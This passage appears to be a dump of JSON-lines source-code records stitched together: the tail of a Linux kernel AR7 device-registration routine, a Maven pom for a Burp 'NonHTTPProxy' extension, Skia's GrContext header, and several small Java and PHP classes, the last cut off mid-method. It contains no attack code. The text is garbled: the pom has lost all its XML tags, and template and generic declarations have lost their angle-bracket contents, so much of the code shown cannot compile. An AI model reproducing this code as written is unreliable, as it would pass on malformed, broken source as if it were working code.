CONFIG_SERIAL_8250 */\n\tres = platform_device_register(&physmap_flash);\n\tif (res)\n\t\treturn res;\n\n\tar7_device_disable(vlynq_low_data.reset_bit);\n\tres = platform_device_register(&vlynq_low);\n\tif (res)\n\t\treturn res;\n\n\tif (ar7_has_high_vlynq()) {\n\t\tar7_device_disable(vlynq_high_data.reset_bit);\n\t\tres = platform_device_register(&vlynq_high);\n\t\tif (res)\n\t\t\treturn res;\n\t}\n\n\tif (ar7_has_high_cpmac()) {\n\t\tres = fixed_phy_add(PHY_POLL, cpmac_high.id, &fixed_phy_status);\n\t\tif (res && res != -ENODEV)\n\t\t\treturn res;\n\t\tcpmac_get_mac(1, cpmac_high_data.dev_addr);\n\t\tres = platform_device_register(&cpmac_high);\n\t\tif (res)\n\t\t\treturn res;\n\t} else {\n\t\tcpmac_low_data.phy_mask = 0xffffffff;\n\t}\n\n\tres = fixed_phy_add(PHY_POLL, cpmac_low.id, &fixed_phy_status);\n\tif (res && res != -ENODEV)\n\t\treturn res;\n\n\tcpmac_get_mac(0, cpmac_low_data.dev_addr);\n\tres = platform_device_register(&cpmac_low);\n\tif (res)\n\t\treturn res;\n\n\tdetect_leds();\n\tres = platform_device_register(&ar7_gpio_leds);\n\tif (res)\n\t\treturn res;\n\n\tres = platform_device_register(&ar7_udc);\n\n\tchip_id = ar7_chip_id();\n\tswitch (chip_id) {\n\tcase AR7_CHIP_7100:\n\tcase AR7_CHIP_7200:\n\t\tar7_wdt_res.start = AR7_REGS_WDT;\n\t\tbreak;\n\tcase AR7_CHIP_7300:\n\t\tar7_wdt_res.start = UR8_REGS_WDT;\n\t\tbreak;\n\tdefault:\n\t\tbreak;\n\t}\n\n\tar7_wdt_res.end = ar7_wdt_res.start + 0x20;\n\n\tbootcr = (u32 *)ioremap_nocache(AR7_REGS_DCL, 4);\n\tval = *bootcr;\n\tiounmap(bootcr);\n\n\t/* Register watchdog only if enabled in hardware */\n\tif (val & AR7_WDT_HW_ENA)\n\t\tres = platform_device_register(&ar7_wdt);\n\n\treturn res;\n}\narch_initcall(ar7_register_devices);\n"} +{"text": "\n 4.0.0\n NonHTTPProxy\n NonHTTPProxy\n 0.0.1-SNAPSHOT\n \n src\n \n \n src\n \n **/*.java\n \n \n \n \n \n maven-compiler-plugin\n 3.3\n \n 1.8\n 1.8\n \n \n\t \n maven-assembly-plugin\n \n \n \n NonHTTPProxy\n \n \n \n jar-with-dependencies\n \n \n \n \n \n\t \n\t \n\t org.pcap4j\n\t pcap4j-core\n\t [1.0, 2.0)\n\t \t \n\t\n\t org.pcap4j\n\t pcap4j-packetfactory-static\n\t [1.0, 2.0)\n\t\n \t\n \t\torg.hibernate\n \t\thibernate-core\n \t\t5.4.4.Final\n \t\tpom\n \t\n \t\n \t\torg.hibernate\n \t\thibernate-c3p0\n \t\t5.4.4.Final\n \t\n \t\n \t\torg.xerial\n \t\tsqlite-jdbc\n \t\t3.28.0\n \t\n \t\n \t\torg.bouncycastle\n \t\tbcprov-jdk15on\n \t\t1.54\n \t\n \t\n \t\torg.bouncycastle\n \t\tbcpkix-jdk15on\n \t\t1.54\n \t\n \t\n \t\torg.bouncycastle\n \t\tbcprov-ext-jdk15on\n \t\t1.54\n \t\n \t\n \t\tcommons-codec\n \t\tcommons-codec\n \t\t20041127.091804\n \t\n \t\n \t\tcom.github.jiconfont\n \t\tjiconfont-swing\n \t\t1.0.0\n \t\n \t \n com.github.jiconfont\n jiconfont-bundle\n 1.2.1\n \n \t \n \t \tcom.fifesoft\n \t \trsyntaxtextarea\n \t \t2.5.8\n \t \n\n\n \t \n \t \tcom.googlecode.json-simple\n \t \tjson-simple\n \t \t1.1.1\n \t \n \t \n \t \torg.python\n \t \tjython-standalone\n \t \t2.7.0\n \t \n \t \n \t \tnet.portswigger.burp.extender\n \t \tburp-extender-api\n \t \t1.7.13\n \t \n \t \n \t \torg.hibernate.ogm\n \t \thibernate-ogm-neo4j\n \t \t5.0.1.Final\n \t \n\t \n NonHttp Burp Extension\n http://github.com/summitt/\n"} +{"text": "/*\r\n Copyright 2010 Google Inc.\r\n\r\n Licensed under the Apache License, Version 2.0 (the \"License\");\r\n you may not use this file except in compliance with the License.\r\n You may obtain a copy of the License at\r\n\r\n http://www.apache.org/licenses/LICENSE-2.0\r\n\r\n Unless required by applicable law or agreed to in writing, software\r\n distributed under the License is distributed on an \"AS IS\" BASIS,\r\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n See the License for the specific language governing permissions and\r\n limitations under the License.\r\n */\r\n\r\n#ifndef GrContext_DEFINED\r\n#define GrContext_DEFINED\r\n\r\n#include \"GrClip.h\"\r\n#include \"GrTextureCache.h\"\r\n#include \"GrPaint.h\"\r\n#include \"GrPathRenderer.h\"\r\n\r\nclass GrFontCache;\r\nclass GrGpu;\r\nstruct GrGpuStats;\r\nclass GrVertexBufferAllocPool;\r\nclass GrIndexBufferAllocPool;\r\nclass GrInOrderDrawBuffer;\r\n\r\nclass GR_API GrContext : public GrRefCnt {\r\npublic:\r\n /**\r\n * Creates a GrContext from within a 3D context.\r\n */\r\n static GrContext* Create(GrEngine engine,\r\n GrPlatform3DContext context3D);\r\n\r\n /**\r\n * Helper to create a opengl-shader based context\r\n */\r\n static GrContext* CreateGLShaderContext();\r\n\r\n virtual ~GrContext();\r\n\r\n /**\r\n * The GrContext normally assumes that no outsider is setting state\r\n * within the underlying 3D API's context/device/whatever. This call informs\r\n * the context that the state was modified and it should resend. Shouldn't\r\n * be called frequently for good performance.\r\n */\r\n void resetContext();\r\n\r\n /**\r\n * Abandons all gpu resources, assumes 3D API state is unknown. Call this\r\n * if you have lost the associated GPU context, and thus internal texture,\r\n * buffer, etc. references/IDs are now invalid. Should be called even when\r\n * GrContext is no longer going to be used for two reasons:\r\n * 1) ~GrContext will not try to free the objects in the 3D API.\r\n * 2) If you've created GrResources that outlive the GrContext they will\r\n * be marked as invalid (GrResource::isValid()) and won't attempt to\r\n * free their underlying resource in the 3D API.\r\n * Content drawn since the last GrContext::flush() may be lost.\r\n */\r\n void contextLost();\r\n\r\n /**\r\n * Similar to contextLost, but makes no attempt to reset state.\r\n * Use this method when GrContext destruction is pending, but\r\n * the graphics context is destroyed first.\r\n */\r\n void contextDestroyed();\r\n\r\n /**\r\n * Frees gpu created by the context. Can be called to reduce GPU memory\r\n * pressure.\r\n */\r\n void freeGpuResources();\r\n\r\n ///////////////////////////////////////////////////////////////////////////\r\n // Textures\r\n\r\n /**\r\n * Search for an entry with the same Key. If found, \"lock\" it and return it.\r\n * If not found, return null.\r\n */\r\n GrTextureEntry* findAndLockTexture(GrTextureKey*,\r\n const GrSamplerState&);\r\n\r\n\r\n /**\r\n * Create a new entry, based on the specified key and texture, and return\r\n * its \"locked\" entry.\r\n *\r\n * Ownership of the texture is transferred to the Entry, which will unref()\r\n * it when we are purged or deleted.\r\n */\r\n GrTextureEntry* createAndLockTexture(GrTextureKey* key,\r\n const GrSamplerState&,\r\n const GrTextureDesc&,\r\n void* srcData, size_t rowBytes);\r\n\r\n /**\r\n * Returns a texture matching the desc. It's contents are unknown. Subsequent\r\n * requests with the same descriptor are not guaranteed to return the same\r\n * texture. The same texture is guaranteed not be returned again until it is\r\n * unlocked.\r\n *\r\n * Textures created by createAndLockTexture() hide the complications of\r\n * tiling non-power-of-two textures on APIs that don't support this (e.g. \r\n * unextended GLES2). Tiling a npot texture created by lockKeylessTexture on\r\n * such an API will create gaps in the tiling pattern. This includes clamp\r\n * mode. (This may be addressed in a future update.)\r\n */\r\n GrTextureEntry* lockKeylessTexture(const GrTextureDesc& desc);\r\n\r\n /**\r\n * Finds a texture that approximately matches the descriptor. Will be\r\n * at least as large in width and height as desc specifies. If desc\r\n * specifies that texture is a render target then result will be a\r\n * render target. If desc specifies a render target and doesn't set the\r\n * no stencil flag then result will have a stencil. Format and aa level\r\n * will always match.\r\n */\r\n GrTextureEntry* findApproximateKeylessTexture(const GrTextureDesc& desc);\r\n\r\n /**\r\n * When done with an entry, call unlockTexture(entry) on it, which returns\r\n * it to the cache, where it may be purged.\r\n */\r\n void unlockTexture(GrTextureEntry* entry);\r\n\r\n /**\r\n * Creates a texture that is outside the cache. Does not count against\r\n * cache's budget.\r\n */\r\n GrTexture* createUncachedTexture(const GrTextureDesc&,\r\n void* srcData,\r\n size_t rowBytes);\r\n\r\n /**\r\n * Returns true if the specified use of an indexed texture is supported.\r\n */\r\n bool supportsIndex8PixelConfig(const GrSamplerState&, int width, int height);\r\n\r\n /**\r\n * Return the current texture cache limits.\r\n *\r\n * @param maxTextures If non-null, returns maximum number of textures that\r\n * can be held in the cache.\r\n * @param maxTextureBytes If non-null, returns maximum number of bytes of\r\n * texture memory that can be held in the cache.\r\n */\r\n void getTextureCacheLimits(int* maxTextures, size_t* maxTextureBytes) const;\r\n\r\n /**\r\n * Specify the texture cache limits. If the current cache exceeds either\r\n * of these, it will be purged (LRU) to keep the cache within these limits.\r\n *\r\n * @param maxTextures The maximum number of textures that can be held in\r\n * the cache.\r\n * @param maxTextureBytes The maximum number of bytes of texture memory\r\n * that can be held in the cache.\r\n */\r\n void setTextureCacheLimits(int maxTextures, size_t maxTextureBytes);\r\n\r\n /**\r\n * Return the max width or height of a texture supported by the current gpu\r\n */\r\n int getMaxTextureSize() const;\r\n\r\n /**\r\n * Return the max width or height of a render target supported by the \r\n * current gpu\r\n */\r\n int getMaxRenderTargetSize() const;\r\n\r\n ///////////////////////////////////////////////////////////////////////////\r\n // Render targets\r\n\r\n /**\r\n * Sets the render target.\r\n * @param target the render target to set. (should not be NULL.)\r\n */\r\n void setRenderTarget(GrRenderTarget* target);\r\n\r\n /**\r\n * Gets the current render target.\r\n * @return the currently bound render target. Should never be NULL.\r\n */\r\n const GrRenderTarget* getRenderTarget() const;\r\n GrRenderTarget* getRenderTarget();\r\n\r\n ///////////////////////////////////////////////////////////////////////////\r\n // Platform Surfaces\r\n\r\n // GrContext provides an interface for wrapping externally created textures\r\n // and rendertargets in their Gr-equivalents.\r\n\r\n /**\r\n * Wraps an existing 3D API surface in a GrObject. desc.fFlags determines\r\n * the type of object returned. If kIsTexture is set the returned object\r\n * will be a GrTexture*. Otherwise, it will be a GrRenderTarget*. If both \r\n * are set the render target object is accessible by\r\n * GrTexture::asRenderTarget().\r\n *\r\n * GL: if the object is a texture Gr may change its GL texture parameters\r\n * when it is drawn.\r\n *\r\n * @param desc description of the object to create.\r\n * @return either a GrTexture* or GrRenderTarget* depending on desc. NULL\r\n * on failure.\r\n */\r\n GrResource* createPlatformSurface(const GrPlatformSurfaceDesc& desc);\r\n /**\r\n * Reads the current target object (e.g. FBO or IDirect3DSurface9*) and\r\n * viewport state from the underlying 3D API and wraps it in a\r\n * GrRenderTarget. The GrRenderTarget will not attempt to delete/destroy the\r\n * underlying object in its destructor and it is up to caller to guarantee\r\n * that it remains valid while the GrRenderTarget is used.\r\n *\r\n * Will not detect that the render target is also a texture. If you need\r\n * to also use the render target as a GrTexture use createPlatformSurface.\r\n *\r\n * @return the newly created GrRenderTarget\r\n */\r\n GrRenderTarget* createRenderTargetFrom3DApiState();\r\n\r\n ///////////////////////////////////////////////////////////////////////////\r\n // Matrix state\r\n\r\n /**\r\n * Gets the current transformation matrix.\r\n * @return the current matrix.\r\n */\r\n const GrMatrix& getMatrix() const;\r\n\r\n /**\r\n * Sets the transformation matrix.\r\n * @param m the matrix to set.\r\n */\r\n void setMatrix(const GrMatrix& m);\r\n\r\n /**\r\n * Concats the current matrix. The passed matrix is applied before the\r\n * current matrix.\r\n * @param m the matrix to concat.\r\n */\r\n void concatMatrix(const GrMatrix& m) const;\r\n\r\n\r\n ///////////////////////////////////////////////////////////////////////////\r\n // Clip state\r\n /**\r\n * Gets the current clip.\r\n * @return the current clip.\r\n */\r\n const GrClip& getClip() const;\r\n\r\n /**\r\n * Sets the clip.\r\n * @param clip the clip to set.\r\n */\r\n void setClip(const GrClip& clip);\r\n\r\n /**\r\n * Convenience method for setting the clip to a rect.\r\n * @param rect the rect to set as the new clip.\r\n */\r\n void setClip(const GrIRect& rect);\r\n\r\n ///////////////////////////////////////////////////////////////////////////\r\n // Draws\r\n\r\n /**\r\n * Clear the entire or rect of the render target, ignoring any clips.\r\n * @param rect the rect to clear or the whole thing if rect is NULL.\r\n * @param color the color to clear to.\r\n */\r\n void clear(const GrIRect* rect, GrColor color);\r\n\r\n /**\r\n * Draw everywhere (respecting the clip) with the paint.\r\n */\r\n void drawPaint(const GrPaint& paint);\r\n\r\n /**\r\n * Draw the rect using a paint.\r\n * @param paint describes how to color pixels.\r\n * @param strokeWidth If strokeWidth < 0, then the rect is filled, else\r\n * the rect is mitered stroked based on strokeWidth. If\r\n * strokeWidth == 0, then the stroke is always a single\r\n * pixel thick.\r\n * @param matrix Optional matrix applied to the rect. Applied before\r\n * context's matrix or the paint's matrix.\r\n * The rects coords are used to access the paint (through texture matrix)\r\n */\r\n void drawRect(const GrPaint& paint,\r\n const GrRect&,\r\n GrScalar strokeWidth = -1,\r\n const GrMatrix* matrix = NULL);\r\n\r\n /**\r\n * Maps a rect of paint coordinates onto the a rect of destination\r\n * coordinates. Each rect can optionally be transformed. The srcRect\r\n * is stretched over the dstRect. The dstRect is transformed by the\r\n * context's matrix and the srcRect is transformed by the paint's matrix.\r\n * Additional optional matrices can be provided by parameters.\r\n *\r\n * @param paint describes how to color pixels.\r\n * @param dstRect the destination rect to draw.\r\n * @param srcRect rect of paint coordinates to be mapped onto dstRect\r\n * @param dstMatrix Optional matrix to transform dstRect. Applied before\r\n * context's matrix.\r\n * @param srcMatrix Optional matrix to transform srcRect Applied before\r\n * paint's matrix.\r\n */\r\n void drawRectToRect(const GrPaint& paint,\r\n const GrRect& dstRect,\r\n const GrRect& srcRect,\r\n const GrMatrix* dstMatrix = NULL,\r\n const GrMatrix* srcMatrix = NULL);\r\n\r\n /**\r\n * Draws a path.\r\n *\r\n * @param paint describes how to color pixels.\r\n * @param path the path to draw\r\n * @param fill the path filling rule to use.\r\n * @param translate optional additional translation applied to the\r\n * path.\r\n */\r\n void drawPath(const GrPaint& paint, const GrPath& path, GrPathFill fill,\r\n const GrPoint* translate = NULL);\r\n\r\n /**\r\n * Draws vertices with a paint.\r\n *\r\n * @param paint describes how to color pixels.\r\n * @param primitiveType primitives type to draw.\r\n * @param vertexCount number of vertices.\r\n * @param positions array of vertex positions, required.\r\n * @param texCoords optional array of texture coordinates used\r\n * to access the paint.\r\n * @param colors optional array of per-vertex colors, supercedes\r\n * the paint's color field.\r\n * @param indices optional array of indices. If NULL vertices\r\n * are drawn non-indexed.\r\n * @param indexCount if indices is non-null then this is the\r\n * number of indices.\r\n */\r\n void drawVertices(const GrPaint& paint,\r\n GrPrimitiveType primitiveType,\r\n int vertexCount,\r\n const GrPoint positions[],\r\n const GrPoint texs[],\r\n const GrColor colors[],\r\n const uint16_t indices[],\r\n int indexCount);\r\n\r\n /**\r\n * Similar to drawVertices but caller provides objects that convert to Gr\r\n * types. The count of vertices is given by posSrc.\r\n *\r\n * @param paint describes how to color pixels.\r\n * @param primitiveType primitives type to draw.\r\n * @param posSrc Source of vertex positions. Must implement\r\n * int count() const;\r\n * void writeValue(int i, GrPoint* point) const;\r\n * count returns the total number of vertices and\r\n * writeValue writes a vertex position to point.\r\n * @param texSrc optional, pass NULL to not use explicit tex\r\n * coords. If present provides tex coords with\r\n * method:\r\n * void writeValue(int i, GrPoint* point) const;\r\n * @param texSrc optional, pass NULL to not use per-vertex colors\r\n * If present provides colors with method:\r\n * void writeValue(int i, GrColor* point) const;\r\n * @param indices optional, pass NULL for non-indexed drawing. If\r\n * present supplies indices for indexed drawing\r\n * with following methods:\r\n * int count() const;\r\n * void writeValue(int i, uint16_t* point) const;\r\n * count returns the number of indices and\r\n * writeValue supplies each index.\r\n */\r\n template \r\n void drawCustomVertices(const GrPaint& paint,\r\n GrPrimitiveType primitiveType,\r\n const POS_SRC& posSrc,\r\n const TEX_SRC* texCoordSrc,\r\n const COL_SRC* colorSrc,\r\n const IDX_SRC* idxSrc);\r\n /**\r\n * To avoid the problem of having to create a typename for NULL parameters,\r\n * these reduced versions of drawCustomVertices are provided.\r\n */\r\n template \r\n void drawCustomVertices(const GrPaint& paint,\r\n GrPrimitiveType primitiveType,\r\n const POS_SRC& posSrc);\r\n template \r\n void drawCustomVertices(const GrPaint& paint,\r\n GrPrimitiveType primitiveType,\r\n const POS_SRC& posSrc,\r\n const TEX_SRC* texCoordSrc);\r\n template \r\n void drawCustomVertices(const GrPaint& paint,\r\n GrPrimitiveType primitiveType,\r\n const POS_SRC& posSrc,\r\n const TEX_SRC* texCoordSrc,\r\n const COL_SRC* colorSrc);\r\n\r\n ///////////////////////////////////////////////////////////////////////////\r\n // Misc.\r\n\r\n /**\r\n * Flags that affect flush() behavior.\r\n */\r\n enum FlushBits {\r\n /**\r\n * A client may want Gr to bind a GrRenderTarget in the 3D API so that\r\n * it can be rendered to directly. However, Gr lazily sets state. Simply\r\n * calling setRenderTarget() followed by flush() without flags may not\r\n * bind the render target. This flag forces the context to bind the last\r\n * set render target in the 3D API.\r\n */\r\n kForceCurrentRenderTarget_FlushBit = 0x1,\r\n /**\r\n * A client may reach a point where it has partially rendered a frame\r\n * through a GrContext that it knows the user will never see. This flag\r\n * causes the flush to skip submission of deferred content to the 3D API\r\n * during the flush.\r\n */\r\n kDiscard_FlushBit = 0x2,\r\n };\r\n\r\n /**\r\n * Call to ensure all drawing to the context has been issued to the\r\n * underlying 3D API.\r\n * @param flagsBitfield flags that control the flushing behavior. See\r\n * FlushBits.\r\n */\r\n void flush(int flagsBitfield = 0);\r\n \r\n /**\r\n * Reads a rectangle of pixels from a render target.\r\n * @param renderTarget the render target to read from. NULL means the\r\n * current render target.\r\n * @param left left edge of the rectangle to read (inclusive)\r\n * @param top top edge of the rectangle to read (inclusive)\r\n * @param width width of rectangle to read in pixels.\r\n * @param height height of rectangle to read in pixels.\r\n * @param config the pixel config of the destination buffer\r\n * @param buffer memory to read the rectangle into.\r\n *\r\n * @return true if the read succeeded, false if not. The read can fail\r\n * because of a unsupported pixel config or because no render\r\n * target is currently set.\r\n */\r\n bool readRenderTargetPixels(GrRenderTarget* target,\r\n int left, int top, int width, int height,\r\n GrPixelConfig config, void* buffer);\r\n\r\n /**\r\n * Reads a rectangle of pixels from a texture.\r\n * @param texture the render target to read from.\r\n * @param left left edge of the rectangle to read (inclusive)\r\n * @param top top edge of the rectangle to read (inclusive)\r\n * @param width width of rectangle to read in pixels.\r\n * @param height height of rectangle to read in pixels.\r\n * @param config the pixel config of the destination buffer\r\n * @param buffer memory to read the rectangle into.\r\n *\r\n * @return true if the read succeeded, false if not. The read can fail\r\n * because of a unsupported pixel config.\r\n */\r\n bool readTexturePixels(GrTexture* target,\r\n int left, int top, int width, int height,\r\n GrPixelConfig config, void* buffer);\r\n\r\n /**\r\n * Copy the src pixels [buffer, stride, pixelconfig] into the current\r\n * render-target at the specified rectangle.\r\n */\r\n void writePixels(int left, int top, int width, int height,\r\n GrPixelConfig, const void* buffer, size_t stride);\r\n\r\n ///////////////////////////////////////////////////////////////////////////\r\n // Helpers\r\n\r\n class AutoRenderTarget : ::GrNoncopyable {\r\n public:\r\n AutoRenderTarget(GrContext* context, GrRenderTarget* target) {\r\n fContext = NULL;\r\n fPrevTarget = context->getRenderTarget();\r\n if (fPrevTarget != target) {\r\n context->setRenderTarget(target);\r\n fContext = context;\r\n }\r\n }\r\n ~AutoRenderTarget() {\r\n if (fContext) {\r\n fContext->setRenderTarget(fPrevTarget);\r\n }\r\n }\r\n private:\r\n GrContext* fContext;\r\n GrRenderTarget* fPrevTarget;\r\n };\r\n\r\n\r\n ///////////////////////////////////////////////////////////////////////////\r\n // Functions intended for internal use only.\r\n GrGpu* getGpu() { return fGpu; }\r\n GrFontCache* getFontCache() { return fFontCache; }\r\n GrDrawTarget* getTextTarget(const GrPaint& paint);\r\n void flushText();\r\n const GrIndexBuffer* getQuadIndexBuffer() const;\r\n void resetStats();\r\n const GrGpuStats& getStats() const;\r\n void printStats() const;\r\n\r\nprivate:\r\n // used to keep track of when we need to flush the draw buffer\r\n enum DrawCategory {\r\n kBuffered_DrawCategory, // last draw was inserted in draw buffer\r\n kUnbuffered_DrawCategory, // last draw was not inserted in the draw buffer\r\n kText_DrawCategory // text context was last to draw\r\n };\r\n DrawCategory fLastDrawCategory;\r\n\r\n GrGpu* fGpu;\r\n GrTextureCache* fTextureCache;\r\n GrFontCache* fFontCache;\r\n\r\n GrPathRenderer* fCustomPathRenderer;\r\n GrDefaultPathRenderer fDefaultPathRenderer;\r\n\r\n GrVertexBufferAllocPool* fDrawBufferVBAllocPool;\r\n GrIndexBufferAllocPool* fDrawBufferIBAllocPool;\r\n GrInOrderDrawBuffer* fDrawBuffer;\r\n\r\n GrIndexBuffer* fAAFillRectIndexBuffer;\r\n GrIndexBuffer* fAAStrokeRectIndexBuffer;\r\n int fMaxOffscreenAASize;\r\n\r\n GrContext(GrGpu* gpu);\r\n\r\n void fillAARect(GrDrawTarget* target,\r\n const GrPaint& paint,\r\n const GrRect& devRect);\r\n\r\n void strokeAARect(GrDrawTarget* target,\r\n const GrPaint& paint,\r\n const GrRect& devRect,\r\n const GrVec& devStrokeSize);\r\n\r\n inline int aaFillRectIndexCount() const;\r\n GrIndexBuffer* aaFillRectIndexBuffer();\r\n\r\n inline int aaStrokeRectIndexCount() const;\r\n GrIndexBuffer* aaStrokeRectIndexBuffer();\r\n\r\n void setupDrawBuffer();\r\n\r\n void flushDrawBuffer();\r\n\r\n static void SetPaint(const GrPaint& paint, GrDrawTarget* target);\r\n\r\n bool finalizeTextureKey(GrTextureKey*, \r\n const GrSamplerState&,\r\n bool keyless) const;\r\n\r\n GrDrawTarget* prepareToDraw(const GrPaint& paint, DrawCategory drawType);\r\n\r\n void drawClipIntoStencil();\r\n\r\n GrPathRenderer* getPathRenderer(const GrDrawTarget*, const GrPath&, GrPathFill);\r\n\r\n struct OffscreenRecord;\r\n\r\n // determines whether offscreen AA should be applied\r\n bool doOffscreenAA(GrDrawTarget* target, \r\n const GrPaint& paint,\r\n bool isLines) const;\r\n\r\n // attempts to setup offscreen AA. All paint state must be transferred to\r\n // target by the time this is called.\r\n bool prepareForOffscreenAA(GrDrawTarget* target,\r\n bool requireStencil,\r\n const GrIRect& boundRect,\r\n GrPathRenderer* pr,\r\n OffscreenRecord* record);\r\n\r\n // sets up target to draw coverage to the supersampled render target\r\n void setupOffscreenAAPass1(GrDrawTarget* target,\r\n const GrIRect& boundRect,\r\n int tileX, int tileY,\r\n OffscreenRecord* record);\r\n\r\n // sets up target to sample coverage of supersampled render target back\r\n // to the main render target using stage kOffscreenStage.\r\n void doOffscreenAAPass2(GrDrawTarget* target,\r\n const GrPaint& paint,\r\n const GrIRect& boundRect,\r\n int tileX, int tileY,\r\n OffscreenRecord* record);\r\n\r\n // restored the draw target state and releases offscreen target to cache\r\n void cleanupOffscreenAA(GrDrawTarget* target,\r\n GrPathRenderer* pr,\r\n OffscreenRecord* record);\r\n \r\n // computes vertex layout bits based on the paint. If paint expresses\r\n // a texture for a stage, the stage coords will be bound to postitions\r\n // unless hasTexCoords[s]==true in which case stage s's input coords\r\n // are bound to tex coord index s. hasTexCoords == NULL is a shortcut\r\n // for an array where all the values are false.\r\n static int PaintStageVertexLayoutBits(\r\n const GrPaint& paint,\r\n const bool hasTexCoords[GrPaint::kTotalStages]);\r\n \r\n};\r\n\r\n/**\r\n * Save/restore the view-matrix in the context.\r\n */\r\nclass GrAutoMatrix : GrNoncopyable {\r\npublic:\r\n GrAutoMatrix(GrContext* ctx) : fContext(ctx) {\r\n fMatrix = ctx->getMatrix();\r\n }\r\n GrAutoMatrix(GrContext* ctx, const GrMatrix& matrix) : fContext(ctx) {\r\n fMatrix = ctx->getMatrix();\r\n ctx->setMatrix(matrix);\r\n }\r\n ~GrAutoMatrix() {\r\n fContext->setMatrix(fMatrix);\r\n }\r\n\r\nprivate:\r\n GrContext* fContext;\r\n GrMatrix fMatrix;\r\n};\r\n\r\n#endif\r\n\r\n#include \"GrContext_impl.h\"\r\n\r\n"} +{"text": "/*\n * TextAreaDefaults.java - Encapsulates default values for various settings\n * Copyright (C) 1999 Slava Pestov\n *\n * You may use and modify this package for any purpose. Redistribution is\n * permitted, in both source and binary form, provided that this notice\n * remains intact in all source distributions of this package.\n */\n\npackage processing.app.syntax;\n\nimport java.awt.*;\n\n/**\n * Encapsulates default settings for a text area. This can be passed\n * to the constructor once the necessary fields have been filled out.\n * The advantage of doing this over calling lots of set() methods after\n * creating the text area is that this method is faster.\n */\npublic class TextAreaDefaults {\n public SyntaxDocument document;\n\n public boolean caretVisible;\n public boolean caretBlinks;\n public boolean blockCaret;\n public int electricScroll;\n\n // default/preferred number of rows/cols\n public int cols;\n public int rows;\n\n public SyntaxStyle[] styles;\n public Color caretColor;\n public Color selectionColor;\n public Color lineHighlightColor;\n public boolean lineHighlight;\n public Color bracketHighlightColor;\n public boolean bracketHighlight;\n public Color eolMarkerColor;\n public boolean eolMarkers;\n public boolean paintInvalid;\n\n public Color fgcolor;\n public Color bgcolor;\n}\n"} +{"text": "\n */\nclass Icon_Picker extends Field {\n\t/**\n\t * Icon_Picker constructor.\n\t *\n\t * @param bool $id\n\t * @param bool $title\n\t * @param array $args\n\t */\n\tpublic function __construct( $id = false, $title = false, $args = array() ) {\n\t\tparent::__construct( 'icon_picker', $id, $title, $args );\n\t}\n\n\t/**\n\t * @param $button\n\t *\n\t * @return $this\n\t */\n\tpublic function add_button( $button ) {\n\t\treturn $this->__set( 'add_button', $button );\n\t}\n\n\t/**\n\t * @param $button\n\t *\n\t * @return $this\n\t */\n\tpublic function remove_button( $button ) {\n\t\treturn $this->__set( 'remove_button', $button );\n\t}\n\n\t/**\n\t * @param bool $show_input\n\t *\n\t * @return $this\n\t */\n\tpublic function show_input( $show_input = true ) {\n\t\treturn $this->__set( 'show_input', $show_input );\n\t}\n\n\t/**\n\t * @return \\WPO\\Fields\\Icon_Picker\n\t */\n\tpublic function hide_input() {\n\t\treturn $this->show_input( false );\n\t}\n\n\t/**\n\t * Default Options :\n\t *\n\t * array(\n\t * 'placement' => 'bottom',\n\t * 'arrow' => true,\n\t * ),\n\t *\n\t * @param array $args\n\t *\n\t * @return $this\n\t */\n\tpublic function icon_tooltip( $args = array() ) {\n\t\treturn $this->__set( 'icon_tooltip', $args );\n\t}\n\n\t/**\n\t * If Set to true then all icon frameworks that are registered with WPOnion will load\n\t * pass a string / array of icon framework slug to load only them.\n\t *\n\t * @param bool|string|array $enabled_icon_frameworks\n\t *\n\t * @return $this\n\t */\n\tpublic function enabled( $enabled_icon_frameworks = true ) {\n\t\treturn $this->__set( 'enabled', $enabled_icon_frameworks );\n\t}\n\n\t/**\n\t * pass a string / array of icon framework slug to disable loading for this field.\n\t *\n\t * @param bool|string|array $disabled_icon_frameworks\n\t *\n\t * @return $this\n\t */\n\tpublic function disabled( $disabled_icon_frameworks = true ) {\n\t\treturn $this->__set( 'disabled', $disabled_icon_frameworks );\n\t}\n\n\t/**\n\t * @param bool $is_group\n\t *\n\t * @return $this\n\t */\n\tpublic function group_icons( $is_group = true ) {\n\t\treturn $this->__set( 'group_icons', $is_group );\n\t}\n}\n"} +{"text": "/*******************************************************************************\n * Copyright (c) 2015 Low Latency Trading Limited : Author Richard Rose\n * Licensed under the Apache License, Version 2.0 (the \"License\"); you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\thttp://www.apache.org/licenses/LICENSE-2.0\n * Unless required by applicable law or agreed to in writing, software distributed under the License \n * is distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and limitations under the License.\n *******************************************************************************/\npackage com.rr.model.generated.internal.events.interfaces;\n\nimport com.rr.core.lang.ReusableString;\n\npublic interface MilleniumLogonReplyWrite extends BaseMillenium, MilleniumLogonReply {\n\n // Getters and Setters\n public void setRejectCode( int val );\n\n public void setPwdExpiryDayCount( byte[] buf, int offset, int len );\n public ReusableString getPwdExpiryDayCountForUpdate();\n\n public void setMsgSeqNum( int val );\n\n public void setPossDupFlag( boolean val );\n\n}\n"} +{"text": "public class BST>\n\t\textends AbstractTree {\n\tprotected TreeNode root;\n\tprotected int size = 0;\n\n\t/** Create a default binary search tree */\n\tpublic BST() {\n\t}\n\n\t/** Create a binary search tree from an array of objects */\n\tpublic BST(E[] objects) {\n\t\tfor (int i = 0; i < objects.length; i++)\n\t\t\tinsert(objects[i]);\n\t}\n\n\t@Override /** Return true if the element is in the tree */\n\tpublic boolean search(E e) {\n\t\tTreeNode current = root; // Start from the root\n\n\t\twhile (current != null) {\n\t\t\tif (e.compareTo(current.element) < 0) {\n\t\t\t\tcurrent = current.left; // Go left\n\t\t\t}\n\t\t\telse if (e.compareTo(current.element) > 0) {\n\t\t\t\tcurrent = current.right; // Go right\n\t\t\t}\n\t\t\telse // Element matches current.element\n\t\t\t\treturn true; // Element is found\n\t\t}\n\n\t\treturn false; // Element is not in the tree\n\t}\n\n\t@Override /** Insert element e into the binary search tree.\n\t *\tReturn true if the element is inserted successfully. */\n\tpublic boolean insert(E e) {\n\t\tif (root == null)\n\t\t\troot = createNewNode(e); // Create a new root\n\t\telse {\n\t\t\t// Locate the parent node\n\t\t\tTreeNode parent = null;\n\t\t\tTreeNode current = root;\n\t\t\twhile (current != null) {\n\t\t\t\tif (e.compareTo(current.element) < 0) {\n\t\t\t\t\tparent = current;\n\t\t\t\t\tcurrent = current.left;\n\t\t\t\t}\n\t\t\t\telse if (e.compareTo(current.element) > 0) {\n\t\t\t\t\tparent = 